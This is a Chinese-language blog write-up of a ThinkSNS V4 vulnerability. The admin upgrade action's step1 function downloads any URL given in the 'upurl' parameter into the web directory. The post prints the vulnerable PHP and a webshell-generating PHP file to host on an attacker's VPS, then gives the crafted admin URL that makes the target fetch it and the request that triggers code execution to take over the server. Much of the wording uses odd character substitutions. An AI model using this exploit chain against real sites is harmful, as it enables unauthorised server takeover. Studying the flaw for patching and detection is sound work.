ThinkSNS V4 后台任意文件下载导致getshell

破绽剖析

存在破绽代码ts4appsadminLibActionUpgradeAction.class.php中的一个函数中。

public function step1()
{
    $downUrl = $_GET['upurl'];
    $downUrl = urldecode($downUrl);
    $path = DATA_PATH.'/'.'upgrade/'.basename($downUrl);

    // # 备份老配置文件
    $oldConf = file_get_contents(CONF_PATH.'/thinksns.conf.php');
    file_put_contents(DATA_PATH.'/old.thinksns.conf.php', $oldConf);

    // # 下载增量包
    is_dir(dirname($path)) or mkdir(dirname($path), 0777, true);
    file_put_contents($path, file_get_contents($downUrl));
    file_exists($path) or $this->showError('下载晋级包失败,请检查'.dirname($path).'目录能否可写,假如可写,请刷新重试!');

    // 考证hash判别包能否合法。
    $filename = dirname($path).'/upgrade.json';
    $data = file_get_contents($filename);
    $data = json_decode($data, false);
    if (md5_file($path) != $data->md5) {
        $this->showError('更新包校验失败,请重新执行晋级.');
    }

函数

file_put_contents — 将一个字符串写入文件
file_get_contents — 将整个文件读入一个字符串

在这段函数中,先备份老配置文件,然后下载增量包,下载参数$downUrl未经过任何处置,直接下载到网站目录下,接着考证hash判别包能否合法,但是并没有删除下载的增量包, 招致程序在完成上存在恣意文件下载破绽,下载远程文件到网站目录下,攻击者可指定第三方url下载歹意脚本到网站目录,进一步触发歹意代码,控制网站效劳器。
 


 

破绽复现

在本人的效劳器创立一个 ian.php

<?php  
echo "<?php";
echo "(file_get_contents('php://input'));"; 
echo "?>"; 
?> 

登录后台,经过访问结构的url,胜利下载第三方源的歹意脚本文件

http://www.0-sec.org:8000/ts4/index.php?app=admin&mod=Upgrade&act=step1&upurl=http://你的vps:8000/ian.php

经过直接访问url,触发代码执行,胜利获取网站效劳器权限。
 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞5赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像李后0